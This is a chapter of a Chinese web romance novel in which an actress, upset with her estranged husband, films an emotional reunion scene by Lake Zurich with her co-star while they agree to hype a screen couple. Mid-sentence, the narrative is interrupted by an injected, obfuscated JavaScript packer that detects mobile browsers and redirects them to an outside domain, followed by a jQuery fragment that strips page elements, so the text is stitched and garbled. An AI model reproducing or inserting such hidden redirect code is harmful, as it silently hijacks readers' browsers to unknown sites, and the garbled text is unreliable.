做完妆造,纪鹤晚坐着剧组租的车前往拍摄地点。七人座的车,除了纪鹤晚、宋昀亭、向忆安、柴晓之外,还有兼司机的场务小张,道具师小赵,灯光师小杨。
后三人都是第一次和这传闻中的小祖宗合作。刚开始时那是一个诚惶诚恐,生怕惹这个小祖宗不快也被迫卷铺盖走人。但真正接触下来,才发现这小祖宗在生活中虽然有点大小姐脾气总是抱怨,但并不会让人厌烦。
比如嫌弃剧组定的盒饭不好,就自掏腰包请顶级名厨来做。并且丝毫不区别对待,无论是像她一样的明星、剧组工作人员,还是群演都一视同仁。
而且工作起来很是认真刻苦,还经常和宋昀亭一起请全剧组的人喝奶茶,慢慢地就改了观。
尤其这小祖宗不像其他的不可一世的明星一样,很平易近人,经常在片场说些笑话,脾气可以说是很好很好的,见谁都是笑呵呵的,只有在她心情不好时,需要尤其注意,否则她那张灌了毒的嘴,完全是无差别攻击,不过这都能理解。
现下,纪鹤晚的不快,所有人都感受到了,一时间车内的空气都凝滞了。小张实在忍受不了,点开了音乐,刚响起“Notsureifyouknowthis”,本来闭着眼睛睡觉的纪鹤晚瞬间睁开眼眸,冷冷甩下一句:“不好听,换一首。”
小张原本想放一首纪鹤晚最喜欢的音乐来安抚安抚她,没想到会适得其反,慌忙切了歌,连忙出声道歉:“抱歉纪小姐。”
纪鹤晚烦躁地揉了揉眉心,语气温和了些:“不关你的事,是我自己心情不好。”
一路上直到到了苏黎世湖畔,纪鹤晚还是阴沉着脸。宋昀亭犹豫再三还是捏着剧本走到她面前,想着经纪人刚在车上发过来的信息:「纪鹤晚这边同意在剧宣期间绑定CP,你不用太担心舆论,做好你的本职工作就可以。」
「绑CP是涨粉最快的方式,你可一定要好好利用纪鹤晚的流量,争取跨进二线,冲一线!」
又想起在开机之前的聚会上,他看见纪鹤晚一个人悄无声息地出了包厢,不知道出于什么心理,他打了个招呼之后也跟着她一起出来了,看见她走进了一旁的楼梯间,他犹豫了一瞬,装作不知道的模样,推开了楼梯间的门,却看见她坐在台阶上,脱了高跟鞋,露出白皙粉嫩的脚踩在光洁的大理石地板上。那一刻,他的心跳得很快。
她看见他愣了一瞬,而后对他扬起笑脸,“要一起坐一会儿吗?”
不知道为什么,他沉默点头走过去坐在了台阶另一侧,肩膀紧紧挨着墙。她没有说话,他也不知道该说什么,于是只有沉默,无止境的沉默化成一座大山压在他心上,压得他的头越来越低。她就在这个时候笑了一声,如风铃击碎久未来人的寂寞带来欢欣,“这地上是有什么宝贝吗?”
戏谑的话让他脸一红,她又笑了起来,“你和陈云深很像,就是性格差得有点远,陈云深要是像你这么腼腆,恐怕洛亦云这辈子都不会知道他的喜欢,也不会和他在一起了。”
话头被她挑起,凝固的气氛渐渐变得融洽。他只充当一个合格的捧哏,时不时适当奉出一个“嗯”。不知道聊了多久,她伸出红润的舌头舔了舔发干的唇,表情没有一点不耐,还是笑着的,像是一朵开在阳光下的玫瑰。
“我们回去吧,这场聚会主角可不能缺席太久。”
他喜欢听她说“我们”。
他站起身,在她握上门把手的时候,终于问出在他心中压抑了很久的问题:“纪小姐,您为什么要进娱乐圈呢?”
他以为她会按着性子玩笑说一句:“因为好玩呀!”但她却没有任何犹豫,说得异常坚定,异常真挚,“因为我喜欢演戏。”
这句话所有演艺圈的人都会这么说,到底有几分真心谁也不知道。但纪鹤晚是他见过说这话最真诚的一个。不知道是不是因为灯光恰好落入她含笑的眼睛,才显得一字一句都那么真心实意,容不得人怀疑。
他从来没有说过这句话,他没有多余的精力去探索自己喜欢什么,之所以进被誉为“大染坊”的娱乐圈只是因为不得已。
他需要流量,需要粉丝,需要成为被看不起的208中的一员。
想到这些,宋昀亭敛眸缓了缓神色,扬起一张阳光的笑脸,“怎么了?谁欺负我们的纪老师了?我帮你揍他一顿。”
宋昀亭向来话少,更别提还是这种带着打趣意味的玩笑话,纪鹤晚的诧异不异于看到贺迟砚装模作样的暖心举动。她并不想因为贺迟砚这混蛋生气,和自己的身体过不去,但生理期的激素作怪,她实在压抑不住心中这口气。
她心情不好时,一贯对其他人也没有什么好脸色,但对于明显是来逗自己开心的宋昀亭,她还是凭借自己优秀的职业道德,挤出一个笑,“不错啊,小宋,你说俏皮话有长进了。”
她的语气还是兴致缺缺的,宋昀亭还是不知道该开启什么话题,而纪鹤晚也暂时没有开口的打算,缓和气氛的重任就落到了他消瘦的肩上。犹豫几秒,他终于出了声:“虹姐说,你同意了?”
他话没有说明,纪鹤晚想了半天才明白他的意思,点点头,“本来就是我们的剧宣任务。”
她看了眼宋昀亭,他正低着头,双腿合拢,双手放在膝盖上,一副三好学生的规矩坐姿,想了想又说了句:“之前不同意,主要是我们的剧才刚开始拍,营销太多了恐怕会适得其反。”
当然还有一个原因是因为贺迟砚那个王八蛋的警告。现在她才反应过来,这本来就是她的工作,他凭什么指手画脚?
贺家的颜面?呵!去他个大头鬼的贺家颜面!他和季昭乐勾搭在一起的时候,怎么没见他在乎她的颜面!
又想起了这烦心事,纪鹤晚闭上眼睛,深吸一口气,想要平复紊乱的心。苏黎世的空气比盛京要清新新鲜,此刻又靠近湖边,带着一丝湖水的清凉,倒也勉强暂时浇灭了她心中快要爆发的火山。
她睁开眼睛,宋昀亭还是那一副乖巧的坐姿。今天要拍的戏份可以说是又一场重头戏——九年分别,异国重逢,老乡见老乡,两眼泪汪汪。
彼时的陈云深已经褪去青涩成了一位成熟男人,所以宋昀亭穿了一套板板正正的西装,微分碎盖也梳成了三七侧分。明明应该成熟矜贵,但配着他小学生的坐姿怎么看怎么违和。这应该就叫反差萌。
她坐起身,拿出手机对着宋昀亭,“你保持这个姿势别动,我拍几张照片。”
阳光正好,微风正好,人也正好,纪鹤晚根本没找什么角度,一顿狂按,连连点头称赞:“你的人生照片有了!”她边说边把照片发给宋昀亭,“热搜词条我都想好了‘宋昀亭反差萌’,等热度上来了,你再发几张酷帅的照片,肯定会让你涨一大批粉的。”
宋昀亭看着手机里的自己,又是一阵语塞,好半晌才发消息给经纪人,望向纪鹤晚的眼睛满是感谢的小星星,“谢谢你糯糯。”
纪鹤晚随意摆了摆手,又叮嘱一句:“最好告诉你的团队一声,控制好炒CP的度,毕竟我现在还是有夫之妇,对你的舆论可能不会太好。”
宋昀亭乖巧点头。看纪鹤晚心情似乎好了一点,他也松了口气,却又想起昨天那个突然出现的男人,笑容不自觉淡了些。他捏着手中的剧本,想要询问什么,但终究只是缄默。
为了最好的拍摄效果,徐正雅联系相关部门走了很多程序终于获批了清场请求,但没想到官方已经发了通告,苏黎世湖畔也立了告示牌,但就是有人视若无睹。
众所周知,外国人都重视自由,面对这外国友人言之凿凿,义正言辞的“你没有权利干涉我的自由”,徐正雅实在没有办法,只好又联系相关人员亲自前来清场。虽然这工作人员来得比她想象得快,但原本的拍摄计划还是耽搁了不少。纪鹤晚也就不好再说自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448367|185201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身体不舒服,吃了止疼药之后就投入紧张的拍摄之中。
苏黎世湖干净清澈,在阳光下呈现独特的蓝绿色调,像是一颗上好的帕拉伊巴碧玺,其上悠闲地游弋着几只白天鹅,白天鹅并不怕人,优雅地游近了些,而白色轮船大抵知道这边有故事要发生,拖曳着涟漪只剩下一个小小的白影。
纪鹤晚饰演的“洛亦云”穿着一条白色挂脖吊带连衣裙,站在栏杆前,揪着面包喂天鹅。争食的天鹅再不复优雅的姿态,她看着,淡粉的唇角微微上扬,目光却有些失焦,仿佛穿透了时空,看到了旧日时光里那个遥不可及的身影。就在这时,一个沉稳的脚步声由远及近,停在伽倪墨得斯雕像的另一侧。
“洛亦云”似有所感,缓缓抬起头。长长的睫毛在眼睑下投下一小片阴影,遮住了眼底可能泄露的真实情绪。她的动作带着一丝不易察觉的僵硬,仿佛预感到什么,带着期待,又带着恐惧。
她微微侧头,视线越过雕像的缝隙——
宋昀亭饰演的“陈云深”站在那里。他穿着剪裁合体的深灰色西装,褪去了少年的青涩,多了成熟男人的儒雅与沉稳。阳光穿透云层洒落,在他轮廓分明的侧脸上镀了一层金边。
四目相对。
空气仿佛凝固了。世界的静谧被无限放大,只剩下两人之间无声的电流在噼啪作响。
“洛亦云”的呼吸明显滞了一下,握着面包的手指微微收紧,在面包上留下五个填不平的空洞。
那双原本带着追忆和怅惘的眸子,在看清“陈云深”的瞬间,如同被投入巨石的深潭,剧烈地波动起来。震惊、难以置信、久别重逢的狂喜、被岁月磨砺出的克制、以及深藏心底的委屈和思念……种种复杂汹涌的情绪在她眼中交织、翻腾、冲撞,最终化为一片湿润的、几乎要承载不住的水光。她的嘴唇微微颤抖着,似乎想说什么,却一个字也发不出声,只化作一个无声的、带着巨大冲击力的口型。
“陈云深”定定地看着她,眼神里有重逢的震动,有对她此刻脆弱状态的怜惜,更有一种压抑已久的、深沉的情感在涌动。他绕后雕像走到“洛亦云”身旁,隔着不算亲近的九年距离,声音低沉,带着一丝不易察觉的颤抖:“你……来了?”
“洛亦云”只是点头,没有说话,也没有再看“陈云深”一眼。
“陈云深”又走近一步,带着小心翼翼的试探,见“洛亦云”没有躲避,脚跟才安稳落地。他的目光落在她身上,看见她白皙手腕上的手链时,眼神又是惊喜又是委屈,话语凝噎,险些说不出一个字,他缓了缓才开口问道:“这条手链,你还留着?”
这句话像一把钥匙,瞬间打开了情感的闸门。
“洛亦云”眼中的水光终于承受不住重量,一颗晶莹的泪珠猝不及防地滚落下来,划过她白皙的脸颊,留下一条清晰的湿痕。她没有去擦,任由泪水无声滑落,仿佛这滴泪承载了太多无法言说的重量。她微微垂下眼帘,避开了他过于灼热的视线,声音轻得像叹息,带着浓重的鼻音:“嗯,习惯了。”
她没有反应过来,整个人都陷入一个温暖到灼热的怀抱,一滴温热的泪水掉落在她的脸颊上又缓缓滑下,她听见了他的声音,沙哑得带着哭腔:“洛洛,我不怪你,我们……重新开始好不好?”
不远处的帝国大厦,贺迟砚被迫站在落地窗前充当最热心的观众,观赏着这唯美动人的一幕,还要忍受褚希尔喋喋不休的聒噪,睁着双死鱼眼睛嚷着这两人多么多么般配,多么多么登对……
他甚至都怀疑这缺了半边脑子的家伙是不是忘了他的身份?
从古至今,还没有一个傻子拉着丈夫非要他看自己的妻子和别人的亲密举动的。
看来他不是缺了半边脑子,是根本没有脑子。
贺迟砚冷冷睨了还在口出狂言的褚希尔一眼,脑子里只有一个想法:真的好想把他丢到湖里喂鱼。